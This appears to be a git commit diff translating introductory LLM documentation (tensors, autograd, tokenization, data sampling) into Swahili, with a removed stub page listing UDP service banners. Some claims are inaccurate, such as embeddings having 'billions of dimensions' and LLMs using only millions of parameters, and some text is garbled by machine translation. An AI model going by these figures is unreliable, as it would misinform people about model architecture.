Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/

This commit is contained in:
Translator 2025-07-08 13:06:53 +00:00
parent 041a5b954d
commit 460f8229ba
163 changed files with 1325 additions and 13177 deletions

View File

@ -1,29 +0,0 @@
# 1911 - Pentesting fox
{{#include ./banners/hacktricks-training.md}}
Na huduma zaidi:
ubiquiti-discover udp "Ubiquiti Networks Device"
dht udp "DHT Nodes"
5060 udp sip "SIP/"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
![](<images/image (337).png>)
![](<images/image (338).png>)
![](<images/image (339).png>)
![](<images/image (340).png>)
![](<images/image (341).png>)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,3 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,20 +1,22 @@
# 0. Basic LLM Concepts
{{#include /banners/hacktricks-training.md}}
## Pretraining
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data za maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa kimsingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kutoa maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu ulioandaliwa unaweza kupitia mchakato wa kuboresha, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data za maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa msingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kuzalisha maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu wa awali unaweza kupitia mchakato wa kuboresha, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
## Main LLM components
Kawaida LLM inajulikana kwa usanidi unaotumika kuifundisha. Hizi ndizo sehemu za kawaida wakati wa kufundisha LLM:
- **Parameters**: Parameters ni **uzito na upendeleo unaoweza kujifunzwa** katika mtandao wa neva. Hizi ni nambari ambazo mchakato wa mafunzo unarekebisha ili kupunguza kazi ya hasara na kuboresha utendaji wa mfano kwenye kazi. LLM mara nyingi hutumia mamilioni ya parameters.
- **Context Length**: Hii ni urefu wa juu wa kila sentensi inayotumika kuandaa LLM.
- **Embedding Dimension**: Ukubwa wa vector inayotumika kuwakilisha kila token au neno. LLM mara nyingi hutumia bilioni za dimensions.
- **Parameters**: Parameters ni **uzito na upendeleo unaoweza kujifunza** katika mtandao wa neva. Hizi ni nambari ambazo mchakato wa mafunzo unarekebisha ili kupunguza kazi ya hasara na kuboresha utendaji wa mfano kwenye kazi. LLMs kawaida hutumia mamilioni ya parameters.
- **Context Length**: Hii ni urefu wa juu wa kila sentensi inayotumika kujiandaa LLM.
- **Embedding Dimension**: Ukubwa wa vector inayotumika kuwakilisha kila token au neno. LLMs kawaida hutumia bilioni za dimensions.
- **Hidden Dimension**: Ukubwa wa tabaka zilizofichwa katika mtandao wa neva.
- **Number of Layers (Depth)**: Ni tabaka ngapi mfano unao. LLM mara nyingi hutumia tabaka kumi.
- **Number of Attention Heads**: Katika mifano ya transformer, hii ni idadi ya mitambo tofauti ya umakini inayotumika katika kila tabaka. LLM mara nyingi hutumia vichwa kumi.
- **Dropout**: Dropout ni kama asilimia ya data inayondolewa (uwezekano unakuwa 0) wakati wa mafunzo inayotumika **kuzuia overfitting.** LLM mara nyingi hutumia kati ya 0-20%.
- **Number of Layers (Depth)**: Idadi ya tabaka ambazo mfano unazo. LLMs kawaida hutumia makumi ya tabaka.
- **Number of Attention Heads**: Katika mifano ya transformer, hii ni idadi ya mitambo tofauti ya umakini inayotumika katika kila tabaka. LLMs kawaida hutumia makumi ya vichwa.
- **Dropout**: Dropout ni kama asilimia ya data inayondolewa (uwezekano unakuwa 0) wakati wa mafunzo inayotumika **kuzuia overfitting.** LLMs kawaida hutumia kati ya 0-20%.
Configuration of the GPT-2 model:
```json
@ -28,29 +30,29 @@ GPT_CONFIG_124M = {
"qkv_bias": False // Query-Key-Value bias
}
```
## Tensors in PyTorch
## Tensors katika PyTorch
Katika PyTorch, **tensor** ni muundo wa data wa msingi unaotumika kama array ya multidimensional, ukijumuisha dhana kama scalars, vectors, na matrices kwa viwango vya juu zaidi. Tensors ndio njia kuu ambayo data inawakilishwa na kushughulikiwa katika PyTorch, hasa katika muktadha wa deep learning na neural networks.
Katika PyTorch, **tensor** ni muundo wa data wa msingi unaotumikia kama array ya multidimensional, ukijumlisha dhana kama scalars, vectors, na matrices kwa vipimo vya juu zaidi. Tensors ndio njia kuu ambayo data inawakilishwa na kushughulikiwa katika PyTorch, hasa katika muktadha wa deep learning na neural networks.
### Mathematical Concept of Tensors
### Dhana ya Kihesabu ya Tensors
- **Scalars**: Tensors wa kiwango cha 0, wak representing nambari moja (zero-dimensional). Kama: 5
- **Vectors**: Tensors wa kiwango cha 1, wak representing array ya nambari za dimensional moja. Kama: \[5,1]
- **Matrices**: Tensors wa kiwango cha 2, wak representing arrays za dimensional mbili zenye mistari na nguzo. Kama: \[\[1,3], \[5,2]]
- **Higher-Rank Tensors**: Tensors wa kiwango cha 3 au zaidi, wak representing data katika dimensions za juu (mfano, 3D tensors kwa picha za rangi).
- **Scalars**: Tensors za kiwango 0, zinazoakisi nambari moja (dimensional sifuri). Kama: 5
- **Vectors**: Tensors za kiwango 1, zinazoakisi array ya nambari za dimensional moja. Kama: \[5,1]
- **Matrices**: Tensors za kiwango 2, zinazoakisi arrays za dimensional mbili zikiwa na safu na nguzo. Kama: \[\[1,3], \[5,2]]
- **Tensors za Kiwango cha Juu**: Tensors za kiwango 3 au zaidi, zinazoakisi data katika vipimo vya juu (mfano, tensors za 3D kwa picha za rangi).
### Tensors as Data Containers
### Tensors kama Vifungashio vya Data
Kutoka kwa mtazamo wa hesabu, tensors hufanya kazi kama vyombo vya data za multidimensional, ambapo kila dimension inaweza kuwakilisha vipengele tofauti au nyanja za data. Hii inafanya tensors kuwa na uwezo mkubwa wa kushughulikia datasets ngumu katika kazi za machine learning.
Kutoka kwa mtazamo wa hesabu, tensors hufanya kazi kama vifungashio vya data za multidimensional, ambapo kila kipimo kinaweza kuwakilisha vipengele tofauti au nyanja za data. Hii inafanya tensors kuwa na uwezo mkubwa wa kushughulikia seti za data ngumu katika kazi za machine learning.
### PyTorch Tensors vs. NumPy Arrays
### Tensors za PyTorch vs. NumPy Arrays
Ingawa tensors za PyTorch zinafanana na arrays za NumPy katika uwezo wao wa kuhifadhi na kushughulikia data za nambari, zinatoa kazi za ziada muhimu kwa ajili ya deep learning:
- **Automatic Differentiation**: Tensors za PyTorch zinasaidia hesabu ya moja kwa moja ya gradients (autograd), ambayo inarahisisha mchakato wa kuhesabu derivatives zinazohitajika kwa ajili ya mafunzo ya neural networks.
- **GPU Acceleration**: Tensors katika PyTorch zinaweza kuhamishwa na kuhesabiwa kwenye GPUs, ikiongeza kasi ya hesabu kubwa.
### Creating Tensors in PyTorch
### Kuunda Tensors katika PyTorch
Unaweza kuunda tensors kwa kutumia kazi ya `torch.tensor`:
```python
@ -72,15 +74,15 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]],
```
### Aina za Data za Tensor
PyTorch tensors zinaweza kuhifadhi data za aina mbalimbali, kama vile nambari nzima na nambari za pointi zinazotembea.
PyTorch tensors zinaweza kuhifadhi data za aina mbalimbali, kama vile nambari za mzizi na nambari za floating-point.
Unaweza kuangalia aina ya data ya tensor kwa kutumia sifa ya `.dtype`:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
- Tensors zilizoundwa kutoka kwa nambari za Python ni za aina `torch.int64`.
- Tensors zilizoundwa kutoka kwa floats za Python ni za aina `torch.float32`.
- Tensors zilizoundwa kutoka kwa nambari za Python ni aina ya `torch.int64`.
- Tensors zilizoundwa kutoka kwa floats za Python ni aina ya `torch.float32`.
Ili kubadilisha aina ya data ya tensor, tumia njia ya `.to()`:
```python
@ -125,13 +127,13 @@ Tensors ni muhimu katika PyTorch kwa ajili ya kujenga na kufundisha mitandao ya
## Automatic Differentiation
Automatic differentiation (AD) ni mbinu ya kompyuta inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za optimization kama gradient descent**. PyTorch inatoa injini ya utofautishaji wa moja kwa moja inayoitwa **autograd** ambayo inarahisisha mchakato huu.
Automatic differentiation (AD) ni mbinu ya kihesabu inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za optimization kama gradient descent**. PyTorch inatoa injini ya automatic differentiation inayoitwa **autograd** ambayo inarahisisha mchakato huu.
### Mathematical Explanation of Automatic Differentiation
**1. The Chain Rule**
Katika msingi wa utofautishaji wa moja kwa moja ni **chain rule** kutoka kwa hesabu. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
Katika msingi wa automatic differentiation ni **chain rule** kutoka calculus. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
Kihesabu, ikiwa `y=f(u)` na `u=g(x)`, basi derivative ya `y` kwa heshima na `x` ni:
@ -165,7 +167,7 @@ Tunataka kuhesabu gradient ya hasara `L` kwa heshima na uzito `w` na bias `b`.
### Implementing Automatic Differentiation in PyTorch
Sasa, hebu tuone jinsi PyTorch inavyofanya mchakato huu kuwa wa moja kwa moja.
Sasa, hebu tuone jinsi PyTorch inavyofanya mchakato huu kuwa wa kiotomatiki.
```python
pythonCopy codeimport torch
import torch.nn.functional as F
@ -211,7 +213,7 @@ Katika mitandao mikubwa ya neural yenye tabaka nyingi, mchakato wa kuhesabu grad
- **Hatua ya 2:** Kwa kila mfano wa mafunzo, fanya forward pass ili kuhesabu matokeo.
- **Hatua ya 3:** Hesabu hasara.
- **Hatua ya 4:** Hesabu gradients za hasara kuhusiana na kila parameter kwa kutumia sheria ya mnyororo.
- **Hatua ya 5:** Sasisha vigezo kwa kutumia algorithm ya kuboresha (mfano, gradient descent).
- **Hatua ya 5:** Sasisha vigezo kwa kutumia algorithm ya uboreshaji (mfano, gradient descent).
### **3. Uwiano wa Kihesabu**
@ -266,20 +268,22 @@ print(f"Gradient of {name}: {param.grad}")
```
Katika msimbo huu:
- **Forward Pass:** Inahesabu matokeo ya mtandao.
- **Backward Pass:** `loss.backward()` inahesabu gradients za hasara kuhusiana na vigezo vyote.
- **Parameter Update:** `optimizer.step()` inasasisha vigezo kulingana na gradients zilizohesabiwa.
- **Forward Pass:** Inakadiria matokeo ya mtandao.
- **Backward Pass:** `loss.backward()` inakadiria gradients za hasara kuhusiana na vigezo vyote.
- **Parameter Update:** `optimizer.step()` inasasisha vigezo kulingana na gradients zilizokadiriwa.
### **5. Kuelewa Backward Pass**
Wakati wa backward pass:
- PyTorch inatembea kwenye grafu ya hesabu kwa mpangilio wa kinyume.
- Kila operesheni, inatumia sheria ya mnyororo kuhesabu gradients.
- Kwa kila operesheni, inatumia sheria ya mnyororo kukadiria gradients.
- Gradients zinakusanywa katika sifa ya `.grad` ya kila tensor ya parameter.
### **6. Faida za Tofauti Otomatiki**
- **Ufanisi:** Inakwepa hesabu zisizo za lazima kwa kutumia matokeo ya kati.
- **Usahihi:** Inatoa derivatives sahihi hadi usahihi wa mashine.
- **Urahisi wa Matumizi:** Inondoa hesabu ya mikono ya derivatives.
- **Urahisi wa Matumizi:** Inondoa hesabu za mikono za derivatives.
{{#include /banners/hacktricks-training.md}}

View File

@ -1,73 +1,75 @@
# 1. Tokenizing
{{#include /banners/hacktricks-training.md}}
## Tokenizing
**Tokenizing** ni mchakato wa kugawanya data, kama vile maandiko, kuwa vipande vidogo, vinavyoweza kudhibitiwa vinavyoitwa _tokens_. Kila token kisha inapata kitambulisho cha kipekee cha nambari (ID). Hii ni hatua ya msingi katika kuandaa maandiko kwa ajili ya usindikaji na mifano ya kujifunza mashine, hasa katika usindikaji wa lugha asilia (NLP).
**Tokenizing** ni mchakato wa kugawanya data, kama vile maandiko, katika vipande vidogo, vinavyoweza kudhibitiwa vinavyoitwa _tokens_. Kila token kisha inapata kitambulisho cha kipekee cha nambari (ID). Hii ni hatua ya msingi katika kuandaa maandiko kwa ajili ya usindikaji na mifano ya kujifunza mashine, hasa katika usindikaji wa lugha asilia (NLP).
> [!TIP]
> Lengo la awamu hii ya awali ni rahisi sana: **Gawanya ingizo katika tokens (ids) kwa njia ambayo ina maana**.
### **How Tokenizing Works**
### **Jinsi Tokenizing Inavyofanya Kazi**
1. **Splitting the Text:**
- **Basic Tokenizer:** Tokenizer rahisi inaweza kugawanya maandiko kuwa maneno binafsi na alama za uakifishaji, ikiondoa nafasi.
- _Example:_\
Text: `"Hello, world!"`\
1. **Kugawanya Maandishi:**
- **Basic Tokenizer:** Tokenizer rahisi inaweza kugawanya maandiko katika maneno binafsi na alama za uakifishaji, ikiondoa nafasi.
- _Mfano:_\
Maandishi: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- Ili kubadilisha tokens kuwa IDs za nambari, **vocabulary** inaundwa. Vocabulary hii inataja tokens zote za kipekee (maneno na alama) na inatoa kila moja ID maalum.
- **Special Tokens:** Hizi ni alama maalum zilizoongezwa kwenye vocabulary ili kushughulikia hali mbalimbali:
- `[BOS]` (Beginning of Sequence): Inaonyesha mwanzo wa maandiko.
- `[EOS]` (End of Sequence): Inaonyesha mwisho wa maandiko.
2. **Kuunda Kamusi:**
- Ili kubadilisha tokens kuwa IDs za nambari, **kamusi** inaundwa. Kamusi hii inataja tokens zote za kipekee (maneno na alama) na inatoa kila moja ID maalum.
- **Tokens Maalum:** Hizi ni alama maalum zilizoongezwa kwenye kamusi ili kushughulikia hali mbalimbali:
- `[BOS]` (Mwanzo wa Mfululizo): Inaonyesha mwanzo wa maandiko.
- `[EOS]` (Mwisho wa Mfululizo): Inaonyesha mwisho wa maandiko.
- `[PAD]` (Padding): Inatumika kufanya mfuatano wote katika kundi kuwa na urefu sawa.
- `[UNK]` (Unknown): Inawakilisha tokens ambazo hazipo katika vocabulary.
- _Example:_\
- `[UNK]` (Haijulikani): Inawakilisha tokens ambazo hazipo kwenye kamusi.
- _Mfano:_\
Ikiwa `"Hello"` inapata ID `64`, `","` ni `455`, `"world"` ni `78`, na `"!"` ni `467`, basi:\
`"Hello, world!"``[64, 455, 78, 467]`
- **Handling Unknown Words:**\
Ikiwa neno kama `"Bye"` halipo katika vocabulary, linabadilishwa na `[UNK]`.\
- **Kushughulikia Maneno Yasiyojulikana:**\
Ikiwa neno kama `"Bye"` halipo kwenye kamusi, linabadilishwa na `[UNK]`.\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
_(Kukisia `[UNK]` ina ID `987`)_
### **Advanced Tokenizing Methods**
### **Mbinu za Juu za Tokenizing**
Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka, hasa na vocabularies kubwa na kushughulikia maneno mapya au nadra. Mbinu za hali ya juu za tokenizing zinashughulikia masuala haya kwa kugawanya maandiko kuwa sehemu ndogo au kuboresha mchakato wa tokenization.
Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka, hasa na kamusi kubwa na kushughulikia maneno mapya au nadra. Mbinu za juu za tokenizing zinashughulikia masuala haya kwa kugawanya maandiko katika sehemu ndogo au kuboresha mchakato wa tokenization.
1. **Byte Pair Encoding (BPE):**
- **Purpose:** Inapunguza ukubwa wa vocabulary na inashughulikia maneno nadra au yasiyojulikana kwa kuyagawanya kuwa jozi za byte zinazotokea mara kwa mara.
- **How It Works:**
- **Madhumuni:** Inapunguza ukubwa wa kamusi na inashughulikia maneno nadra au yasiyojulikana kwa kuyagawanya katika jozi za byte zinazotokea mara kwa mara.
- **Jinsi Inavyofanya Kazi:**
- Inaanza na wahusika binafsi kama tokens.
- Inachanganya kwa hatua jozi za tokens zinazotokea mara nyingi zaidi kuwa token moja.
- Inaendelea hadi hakuna jozi za mara nyingi zaidi zinazoweza kuchanganywa.
- **Benefits:**
- **Faida:**
- Inafuta hitaji la token ya `[UNK]` kwani maneno yote yanaweza kuwakilishwa kwa kuunganisha tokens za subword zilizopo.
- Vocabulary yenye ufanisi zaidi na inayoweza kubadilika.
- _Example:_\
- Kamusi yenye ufanisi na inayoweza kubadilika.
- _Mfano:_\
`"playing"` inaweza kutokenizwa kama `["play", "ing"]` ikiwa `"play"` na `"ing"` ni subwords zinazotokea mara nyingi.
2. **WordPiece:**
- **Used By:** Mifano kama BERT.
- **Purpose:** Kama BPE, inagawanya maneno kuwa vitengo vya subword ili kushughulikia maneno yasiyojulikana na kupunguza ukubwa wa vocabulary.
- **How It Works:**
- Inaanza na vocabulary ya msingi ya wahusika binafsi.
- **Inatumika Na:** Mifano kama BERT.
- **Madhumuni:** Kama BPE, inagawanya maneno katika vitengo vya subword ili kushughulikia maneno yasiyojulikana na kupunguza ukubwa wa kamusi.
- **Jinsi Inavyofanya Kazi:**
- Inaanza na kamusi ya msingi ya wahusika binafsi.
- Inajumuisha kwa hatua subword inayotokea mara nyingi zaidi ambayo inapanua uwezekano wa data ya mafunzo.
- Inatumia mfano wa uwezekano kuamua ni subwords zipi za kuunganisha.
- **Benefits:**
- Inaleta usawa kati ya kuwa na ukubwa wa vocabulary unaoweza kudhibitiwa na kuwakilisha maneno kwa ufanisi.
- **Faida:**
- Inaleta usawa kati ya kuwa na ukubwa wa kamusi unaoweza kudhibitiwa na kuwakilisha maneno kwa ufanisi.
- Inashughulikia kwa ufanisi maneno nadra na ya mchanganyiko.
- _Example:_\
`"unhappiness"` inaweza kutokenizwa kama `["un", "happiness"]` au `["un", "happy", "ness"]` kulingana na vocabulary.
- _Mfano:_\
`"unhappiness"` inaweza kutokenizwa kama `["un", "happiness"]` au `["un", "happy", "ness"]` kulingana na kamusi.
3. **Unigram Language Model:**
- **Used By:** Mifano kama SentencePiece.
- **Purpose:** Inatumia mfano wa uwezekano kubaini seti inayowezekana zaidi ya tokens za subword.
- **How It Works:**
- Inaanza na seti kubwa ya tokens zinazoweza kuwa.
- Inafuta kwa hatua tokens ambazo haziboresha uwezekano wa mfano wa data ya mafunzo.
- Inakamilisha vocabulary ambapo kila neno linawakilishwa na vitengo vya subword vinavyoweza kuwa na uwezekano zaidi.
- **Benefits:**
- **Inatumika Na:** Mifano kama SentencePiece.
- **Madhumuni:** Inatumia mfano wa uwezekano kubaini seti inayowezekana zaidi ya tokens za subword.
- **Jinsi Inavyofanya Kazi:**
- Inaanza na seti kubwa ya tokens zinazoweza.
- Inatoa kwa hatua tokens ambazo haziboresha uwezekano wa mfano wa data ya mafunzo.
- Inakamilisha kamusi ambapo kila neno linawakilishwa na vitengo vya subword vinavyoweza zaidi.
- **Faida:**
- Inaweza kubadilika na inaweza kuunda lugha kwa njia ya asili zaidi.
- Mara nyingi inasababisha tokenizations zenye ufanisi na zenye compact.
- _Example:_\
`"internationalization"` inaweza kutokenizwa kuwa subwords ndogo zenye maana kama `["international", "ization"]`.
- _Mfano:_\
`"internationalization"` inaweza kutokenizwa katika subwords ndogo zenye maana kama `["international", "ization"]`.
## Code Example
@ -93,3 +95,6 @@ print(token_ids[:50])
## Marejeo
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 2. Data Sampling
{{#include /banners/hacktricks-training.md}}
## **Data Sampling**
**Data Sampling** ni mchakato muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT. Inahusisha kuandaa data ya maandiko katika mfuatano wa ingizo na malengo ambayo mfano hutumia kujifunza jinsi ya kutabiri neno linalofuata (au token) kulingana na maneno yaliyotangulia. Sampuli sahihi za data zinahakikisha kwamba mfano unapata kwa ufanisi mifumo ya lugha na utegemezi.
@ -9,7 +11,7 @@
### **Why Data Sampling Matters**
LLMs kama GPT zinafundishwa kuzalisha au kutabiri maandiko kwa kuelewa muktadha unaotolewa na maneno ya awali. Ili kufikia hili, data ya mafunzo inapaswa kuandaliwa kwa njia ambayo mfano unaweza kujifunza uhusiano kati ya mfuatano wa maneno na maneno yao yanayofuata. Njia hii iliyopangwa inaruhusu mfano kuweza kujumlisha na kuzalisha maandiko yanayofaa na yanayoeleweka katika muktadha.
LLMs kama GPT zinafundishwa kuzalisha au kutabiri maandiko kwa kuelewa muktadha unaotolewa na maneno ya awali. Ili kufikia hili, data ya mafunzo inapaswa kuandaliwa kwa njia ambayo mfano unaweza kujifunza uhusiano kati ya mfuatano wa maneno na maneno yao yanayofuata. Njia hii iliyopangwa inaruhusu mfano kuweza kujumlisha na kuzalisha maandiko yanayofaa na yanayoendana na muktadha.
### **Key Concepts in Data Sampling**
@ -32,23 +34,23 @@ Fikiria tunatumia **basic tokenizer** inayogawanya maandiko katika maneno na ala
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parametri**
**Parameters**
- **Muda wa Mfuatano wa Juu (max_length):** 4 tokens
- **Kipande cha Dirisha Kinachosonga:** 1 token
- **Max Sequence Length (max_length):** 4 tokens
- **Sliding Window Stride:** 1 token
**Kuunda Mfuatano wa Ingizo na Lengo**
**Creating Input and Target Sequences**
1. **Njia ya Dirisha Linalosonga:**
- **Mfuatano wa Ingizo:** Kila mfuatano wa ingizo unajumuisha `max_length` tokens.
- **Mfuatano wa Lengo:** Kila mfuatano wa lengo unajumuisha tokens ambazo zinafuata mara moja mfuatano wa ingizo husika.
2. **Kuzalisha Mfuatano:**
1. **Sliding Window Approach:**
- **Input Sequences:** Kila input sequence ina tokens za `max_length`.
- **Target Sequences:** Kila target sequence ina tokens ambazo zinafuatia moja kwa moja input sequence husika.
2. **Generating Sequences:**
<table><thead><tr><th width="177">Nafasi ya Dirisha</th><th>Mfuatano wa Ingizo</th><th>Mfuatano wa Lengo</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Mifumo ya Ingizo na Lengo:**
3. **Resulting Input and Target Arrays:**
- **Ingizo:**
- **Input:**
```python
[
@ -59,7 +61,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
]
```
- **Lengo:**
- **Target:**
```python
[
@ -70,34 +72,34 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
]
```
**Uwakilishi wa Kihisia**
**Visual Representation**
<table><thead><tr><th width="222">Nafasi ya Token</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Dirisha Linalosonga na Kipande 1:**
**Sliding Window with Stride 1:**
- **Dirisha la Kwanza (Nafasi 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Lengo:** \["ipsum", "dolor", "sit", "amet,"]
- **Dirisha la Pili (Nafasi 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Lengo:** \["dolor", "sit", "amet,", "consectetur"]
- **Dirisha la Tatu (Nafasi 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Lengo:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Dirisha la Nne (Nafasi 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Lengo:** \["amet,", "consectetur", "adipiscing", "elit."]
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
**Kuelewa Kipande**
**Understanding Stride**
- **Kipande cha 1:** Dirisha linahamia mbele kwa token moja kila wakati, likisababisha mfuatano unaoshirikiana sana. Hii inaweza kuleta kujifunza bora kwa uhusiano wa muktadha lakini inaweza kuongeza hatari ya kupita kiasi kwa sababu data zinazofanana zinajirudia.
- **Kipande cha 2:** Dirisha linahamia mbele kwa token mbili kila wakati, kupunguza ushirikiano. Hii inapunguza kurudiwa na mzigo wa kompyuta lakini inaweza kukosa baadhi ya nuances za muktadha.
- **Kipande sawa na max_length:** Dirisha linahamia mbele kwa ukubwa mzima wa dirisha, likisababisha mfuatano usio na ushirikiano. Hii inapunguza kurudiwa kwa data lakini inaweza kupunguza uwezo wa mfano kujifunza utegemezi kati ya mfuatano.
- **Stride of 1:** Dirisha linahamia mbele kwa token moja kila wakati, linalosababisha sequences zenye kufanana sana. Hii inaweza kuleta kujifunza bora ya uhusiano wa muktadha lakini inaweza kuongeza hatari ya overfitting kwani data zinazofanana zinajirudia.
- **Stride of 2:** Dirisha linahamia mbele kwa tokens mbili kila wakati, kupunguza kufanana. Hii inapunguza redundancy na mzigo wa kompyuta lakini inaweza kukosa baadhi ya nuances za muktadha.
- **Stride Equal to max_length:** Dirisha linahamia mbele kwa ukubwa mzima wa dirisha, linalosababisha sequences zisizo na kufanana. Hii inapunguza redundancy ya data lakini inaweza kupunguza uwezo wa mfano kujifunza utegemezi kati ya sequences.
**Mfano na Kipande cha 2:**
**Example with Stride of 2:**
Kwa kutumia maandiko yaliyotolewa na `max_length` ya 4:
- **Dirisha la Kwanza (Nafasi 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Lengo:** \["ipsum", "dolor", "sit", "amet,"]
- **Dirisha la Pili (Nafasi 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Lengo:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Dirisha la Tatu (Nafasi 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Lengo:** \["consectetur", "adipiscing", "elit.", "sed"] _(Kukisia kuendelea)_
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
## Mfano wa Kanuni
## Code Example
